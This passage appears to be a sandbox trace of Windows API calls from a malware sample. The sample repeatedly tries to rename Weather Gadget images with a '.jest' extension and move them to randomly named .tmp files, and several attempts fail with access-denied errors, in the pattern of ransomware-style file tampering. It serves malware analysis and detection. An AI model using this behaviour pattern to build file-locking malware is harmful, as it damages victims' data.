RNQkssSPoW2W85FCWq3PiM9I-9IfVO Yicqz3IKapsYR-AKmBT20S8RD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uccphk1hh wa_3j2nm0dk49mja7y98vvhbwg4ldv21x rnqkssspow2w85fcwq3pim9i-9ifvo yicqz3ikapsyr-akmbt20s8rd.tmp")) returned 0 [0127.687] GetLastError () returned 0x5 [0127.687] GetLastError () returned 0x5 [0127.687] SetLastError (dwErrCode=0x5) [0127.687] GetLastError () returned 0x5 [0127.687] SetLastError (dwErrCode=0x5) [0127.687] GetLastError () returned 0x5 [0127.687] SetLastError (dwErrCode=0x5) [0127.687] GetFullPathNameA (in: lpFileName="UcCPHk1HH WA_3J2nM0dK49MJA7y98Vvhbwg4lDv21x RNQkssSPoW2W85FCWq3PiM9I-9IfVO Yicqz3IKapsYR-AKmBT20S8RD.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UcCPHk1HH WA_3J2nM0dK49MJA7y98Vvhbwg4lDv21x RNQkssSPoW2W85FCWq3PiM9I-9IfVO Yicqz3IKapsYR-AKmBT20S8RD.tmp", lpFilePart=0x18e6e4*="UcCPHk1HH WA_3J2nM0dK49MJA7y98Vvhbwg4lDv21x RNQkssSPoW2W85FCWq3PiM9I-9IfVO Yicqz3IKapsYR-AKmBT20S8RD.tmp") returned 0x8e [0127.687] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UcCPHk1HH WA_3J2nM0dK49MJA7y98Vvhbwg4lDv21x RNQkssSPoW2W85FCWq3PiM9I-9IfVO Yicqz3IKapsYR-AKmBT20S8RD.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x50436355, cFileName="Hk1HH WA_3J2nM0dK49MJA7y98Vvhbwg4lDv21x RNQkssSPoW2W85FCWq3PiM9I-9IfVO Yicqz3IKapsYR-AKmBT20S8RD.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.687] GetLastError () returned 0x2 [0127.687] GetLastError () returned 0x2 [0127.688] SetLastError (dwErrCode=0x2) [0127.688] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.688] GetTickCount () returned 0x11525aa [0127.688] GetTickCount () returned 0x11525aa [0127.688] CoFreeUnusedLibraries () [0127.688] GetTickCount () returned 0x11525aa [0127.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.688] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.688] GetTickCount () returned 0x11525aa [0127.688] IsWindowVisible (hWnd=0x30268) returned 0 [0127.688] Sleep (dwMilliseconds=0x0) [0127.689] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\45.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\45.png.jest")) returned 0 [0127.691] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png", lpFilePart=0x18e6d8*="45.png") returned 0x4b [0127.691] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc39f39a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc39f39a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd81691c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x57, dwReserved1=0x0, cFileName="45.png", cAlternateFileName="")) returned 0x143ce48 [0127.692] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.694] VarBstrFromR4 (in: fltIn=0x479445c3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.52") returned 0x0 [0127.694] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.694] GetTickCount () returned 0x11525aa [0127.694] GetTickCount () returned 0x11525aa [0127.694] CoFreeUnusedLibraries () [0127.694] GetTickCount () returned 0x11525aa [0127.695] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.695] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.695] GetTickCount () returned 0x11525ba [0127.695] IsWindowVisible (hWnd=0x30268) returned 0 [0127.695] Sleep (dwMilliseconds=0x0) [0127.695] GetFullPathNameA (in: lpFileName="p9djwj0ZWtuqw3C5i6_MWW81bFdmnrLnzTSBsfG4CHhM5Sc suIxiBq64nuM_U9zPXhrvEKhl7U84fnJGLlgBQByKuMPX8glY3QlU.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p9djwj0ZWtuqw3C5i6_MWW81bFdmnrLnzTSBsfG4CHhM5Sc suIxiBq64nuM_U9zPXhrvEKhl7U84fnJGLlgBQByKuMPX8glY3QlU.tmp", lpFilePart=0x18e708*="p9djwj0ZWtuqw3C5i6_MWW81bFdmnrLnzTSBsfG4CHhM5Sc suIxiBq64nuM_U9zPXhrvEKhl7U84fnJGLlgBQByKuMPX8glY3QlU.tmp") returned 0x8f [0127.696] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png", lpFilePart=0x18e708*="45.png") returned 0x4b [0127.696] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\45.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\45.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p9djwj0ZWtuqw3C5i6_MWW81bFdmnrLnzTSBsfG4CHhM5Sc suIxiBq64nuM_U9zPXhrvEKhl7U84fnJGLlgBQByKuMPX8glY3QlU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p9djwj0zwtuqw3c5i6_mww81bfdmnrlnztsbsfg4chhm5sc suixibq64num_u9zpxhrvekhl7u84fnjgllgbqbykumpx8gly3qlu.tmp")) returned 0 [0127.698] GetLastError () returned 0x5 [0127.698] GetLastError () returned 0x5 [0127.698] SetLastError (dwErrCode=0x5) [0127.698] GetLastError () returned 0x5 [0127.698] SetLastError (dwErrCode=0x5) [0127.698] GetLastError () returned 0x5 [0127.698] SetLastError (dwErrCode=0x5) [0127.699] GetFullPathNameA (in: lpFileName="p9djwj0ZWtuqw3C5i6_MWW81bFdmnrLnzTSBsfG4CHhM5Sc suIxiBq64nuM_U9zPXhrvEKhl7U84fnJGLlgBQByKuMPX8glY3QlU.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p9djwj0ZWtuqw3C5i6_MWW81bFdmnrLnzTSBsfG4CHhM5Sc suIxiBq64nuM_U9zPXhrvEKhl7U84fnJGLlgBQByKuMPX8glY3QlU.tmp", lpFilePart=0x18e6e4*="p9djwj0ZWtuqw3C5i6_MWW81bFdmnrLnzTSBsfG4CHhM5Sc suIxiBq64nuM_U9zPXhrvEKhl7U84fnJGLlgBQByKuMPX8glY3QlU.tmp") returned 0x8f [0127.699] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p9djwj0ZWtuqw3C5i6_MWW81bFdmnrLnzTSBsfG4CHhM5Sc suIxiBq64nuM_U9zPXhrvEKhl7U84fnJGLlgBQByKuMPX8glY3QlU.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6a643970, cFileName="wj0ZWtuqw3C5i6_MWW81bFdmnrLnzTSBsfG4CHhM5Sc suIxiBq64nuM_U9zPXhrvEKhl7U84fnJGLlgBQByKuMPX8glY3QlU.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.699] GetLastError () returned 0x2 [0127.699] GetLastError () returned 0x2 [0127.699] SetLastError (dwErrCode=0x2) [0127.699] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.700] GetTickCount () returned 0x11525ba [0127.700] GetTickCount () returned 0x11525ba [0127.700] CoFreeUnusedLibraries () [0127.700] GetTickCount () returned 0x11525ba [0127.700] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.700] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.700] GetTickCount () returned 0x11525ba [0127.700] IsWindowVisible (hWnd=0x30268) returned 0 [0127.700] Sleep (dwMilliseconds=0x0) [0127.700] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\39.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\39.png.jest")) returned 0 [0127.702] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png", lpFilePart=0x18e6d8*="39.png") returned 0x4b [0127.703] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x57, dwReserved1=0x0, cFileName="39.png", cAlternateFileName="")) returned 0x143ce48 [0127.704] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.705] VarBstrFromR4 (in: fltIn=0x479445c6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.55") returned 0x0 [0127.705] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.705] GetTickCount () returned 0x11525ba [0127.705] GetTickCount () returned 0x11525ba [0127.706] CoFreeUnusedLibraries () [0127.706] GetTickCount () returned 0x11525ba [0127.706] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.706] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.706] GetTickCount () returned 0x11525ba [0127.706] IsWindowVisible (hWnd=0x30268) returned 0 [0127.706] Sleep (dwMilliseconds=0x0) [0127.706] GetFullPathNameA (in: lpFileName="J4GZ4TnmxqE46B3vzxO3x-04-l9rTOWYoEj_Z wJUyj_ye_Sj4qrXy6Dcg_teIFQ8SVid1o2IE1IqgvZFT15LIkArf2SKp77SFQ9.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J4GZ4TnmxqE46B3vzxO3x-04-l9rTOWYoEj_Z wJUyj_ye_Sj4qrXy6Dcg_teIFQ8SVid1o2IE1IqgvZFT15LIkArf2SKp77SFQ9.tmp", lpFilePart=0x18e708*="J4GZ4TnmxqE46B3vzxO3x-04-l9rTOWYoEj_Z wJUyj_ye_Sj4qrXy6Dcg_teIFQ8SVid1o2IE1IqgvZFT15LIkArf2SKp77SFQ9.tmp") returned 0x8e [0127.706] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png", lpFilePart=0x18e708*="39.png") returned 0x4b [0127.707] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\39.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J4GZ4TnmxqE46B3vzxO3x-04-l9rTOWYoEj_Z wJUyj_ye_Sj4qrXy6Dcg_teIFQ8SVid1o2IE1IqgvZFT15LIkArf2SKp77SFQ9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j4gz4tnmxqe46b3vzxo3x-04-l9rtowyoej_z wjuyj_ye_sj4qrxy6dcg_teifq8svid1o2ie1iqgvzft15likarf2skp77sfq9.tmp")) returned 0 [0127.709] GetLastError () returned 0x5 [0127.709] GetLastError () returned 0x5 [0127.709] SetLastError (dwErrCode=0x5) [0127.709] GetLastError () returned 0x5 [0127.709] SetLastError (dwErrCode=0x5) [0127.709] GetLastError () returned 0x5 [0127.709] SetLastError (dwErrCode=0x5) [0127.709] GetFullPathNameA (in: lpFileName="J4GZ4TnmxqE46B3vzxO3x-04-l9rTOWYoEj_Z wJUyj_ye_Sj4qrXy6Dcg_teIFQ8SVid1o2IE1IqgvZFT15LIkArf2SKp77SFQ9.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J4GZ4TnmxqE46B3vzxO3x-04-l9rTOWYoEj_Z wJUyj_ye_Sj4qrXy6Dcg_teIFQ8SVid1o2IE1IqgvZFT15LIkArf2SKp77SFQ9.tmp", lpFilePart=0x18e6e4*="J4GZ4TnmxqE46B3vzxO3x-04-l9rTOWYoEj_Z wJUyj_ye_Sj4qrXy6Dcg_teIFQ8SVid1o2IE1IqgvZFT15LIkArf2SKp77SFQ9.tmp") returned 0x8e [0127.709] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J4GZ4TnmxqE46B3vzxO3x-04-l9rTOWYoEj_Z wJUyj_ye_Sj4qrXy6Dcg_teIFQ8SVid1o2IE1IqgvZFT15LIkArf2SKp77SFQ9.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5a47344a, cFileName="4TnmxqE46B3vzxO3x-04-l9rTOWYoEj_Z wJUyj_ye_Sj4qrXy6Dcg_teIFQ8SVid1o2IE1IqgvZFT15LIkArf2SKp77SFQ9.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.709] GetLastError () returned 0x2 [0127.710] GetLastError () returned 0x2 [0127.710] SetLastError (dwErrCode=0x2) [0127.710] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.710] GetTickCount () returned 0x11525ba [0127.710] GetTickCount () returned 0x11525c9 [0127.710] CoFreeUnusedLibraries () [0127.710] GetTickCount () returned 0x11525c9 [0127.710] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.710] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.711] GetTickCount () returned 0x11525c9 [0127.711] IsWindowVisible (hWnd=0x30268) returned 0 [0127.711] Sleep (dwMilliseconds=0x0) [0127.711] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\35.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\35.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\35.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\35.png.jest")) returned 0 [0127.713] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\35.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\35.png", lpFilePart=0x18e6d8*="35.png") returned 0x4b [0127.713] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\35.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc294a01, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc294a01, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd77e39c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x57, dwReserved1=0x0, cFileName="35.png", cAlternateFileName="")) returned 0x143ce48 [0127.714] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.716] VarBstrFromR4 (in: fltIn=0x479445c7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.55") returned 0x0 [0127.716] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.716] GetTickCount () returned 0x11525c9 [0127.716] GetTickCount () returned 0x11525c9 [0127.716] CoFreeUnusedLibraries () [0127.716] GetTickCount () returned 0x11525c9 [0127.716] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.716] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.717] GetTickCount () returned 0x11525c9 [0127.717] IsWindowVisible (hWnd=0x30268) returned 0 [0127.717] Sleep (dwMilliseconds=0x0) [0127.717] GetFullPathNameA (in: lpFileName="9uFBuKWIorcu5cmMzzuF0V7PgD3FxGX8JiLUP5F2AD4vbX9cAUrInkHViszUnODEKDwFu4fvPeeLILWvrHHEHImbqm 7QxUv9HGUH.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9uFBuKWIorcu5cmMzzuF0V7PgD3FxGX8JiLUP5F2AD4vbX9cAUrInkHViszUnODEKDwFu4fvPeeLILWvrHHEHImbqm 7QxUv9HGUH.tmp", lpFilePart=0x18e708*="9uFBuKWIorcu5cmMzzuF0V7PgD3FxGX8JiLUP5F2AD4vbX9cAUrInkHViszUnODEKDwFu4fvPeeLILWvrHHEHImbqm 7QxUv9HGUH.tmp") returned 0x8f [0127.717] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\35.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\35.png", lpFilePart=0x18e708*="35.png") returned 0x4b [0127.717] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\35.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\35.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9uFBuKWIorcu5cmMzzuF0V7PgD3FxGX8JiLUP5F2AD4vbX9cAUrInkHViszUnODEKDwFu4fvPeeLILWvrHHEHImbqm 7QxUv9HGUH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9ufbukwiorcu5cmmzzuf0v7pgd3fxgx8jilup5f2ad4vbx9caurinkhviszunodekdwfu4fvpeelilwvrhhehimbqm 7qxuv9hguh.tmp")) returned 0 [0127.720] GetLastError () returned 0x5 [0127.720] GetLastError () returned 0x5 [0127.720] SetLastError (dwErrCode=0x5) [0127.720] GetLastError () returned 0x5 [0127.720] SetLastError (dwErrCode=0x5) [0127.720] GetLastError () returned 0x5 [0127.720] SetLastError (dwErrCode=0x5) [0127.720] GetFullPathNameA (in: lpFileName="9uFBuKWIorcu5cmMzzuF0V7PgD3FxGX8JiLUP5F2AD4vbX9cAUrInkHViszUnODEKDwFu4fvPeeLILWvrHHEHImbqm 7QxUv9HGUH.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9uFBuKWIorcu5cmMzzuF0V7PgD3FxGX8JiLUP5F2AD4vbX9cAUrInkHViszUnODEKDwFu4fvPeeLILWvrHHEHImbqm 7QxUv9HGUH.tmp", lpFilePart=0x18e6e4*="9uFBuKWIorcu5cmMzzuF0V7PgD3FxGX8JiLUP5F2AD4vbX9cAUrInkHViszUnODEKDwFu4fvPeeLILWvrHHEHImbqm 7QxUv9HGUH.tmp") returned 0x8f [0127.720] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9uFBuKWIorcu5cmMzzuF0V7PgD3FxGX8JiLUP5F2AD4vbX9cAUrInkHViszUnODEKDwFu4fvPeeLILWvrHHEHImbqm 7QxUv9HGUH.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x42467539, cFileName="uKWIorcu5cmMzzuF0V7PgD3FxGX8JiLUP5F2AD4vbX9cAUrInkHViszUnODEKDwFu4fvPeeLILWvrHHEHImbqm 7QxUv9HGUH.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.720] GetLastError () returned 0x2 [0127.720] GetLastError () returned 0x2 [0127.720] SetLastError (dwErrCode=0x2) [0127.721] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.721] GetTickCount () returned 0x11525c9 [0127.721] GetTickCount () returned 0x11525c9 [0127.721] CoFreeUnusedLibraries () [0127.721] GetTickCount () returned 0x11525c9 [0127.721] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.721] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.721] GetTickCount () returned 0x11525c9 [0127.721] IsWindowVisible (hWnd=0x30268) returned 0 [0127.721] Sleep (dwMilliseconds=0x0) [0127.722] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\12.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\12.png.jest")) returned 0 [0127.724] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png", lpFilePart=0x18e6d8*="12.png") returned 0x4b [0127.724] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc033411, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc033411, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6bfcbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x57, dwReserved1=0x0, cFileName="12.png", cAlternateFileName="")) returned 0x143ce48 [0127.725] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.726] VarBstrFromR4 (in: fltIn=0x479445c9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.57") returned 0x0 [0127.727] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.727] GetTickCount () returned 0x11525d9 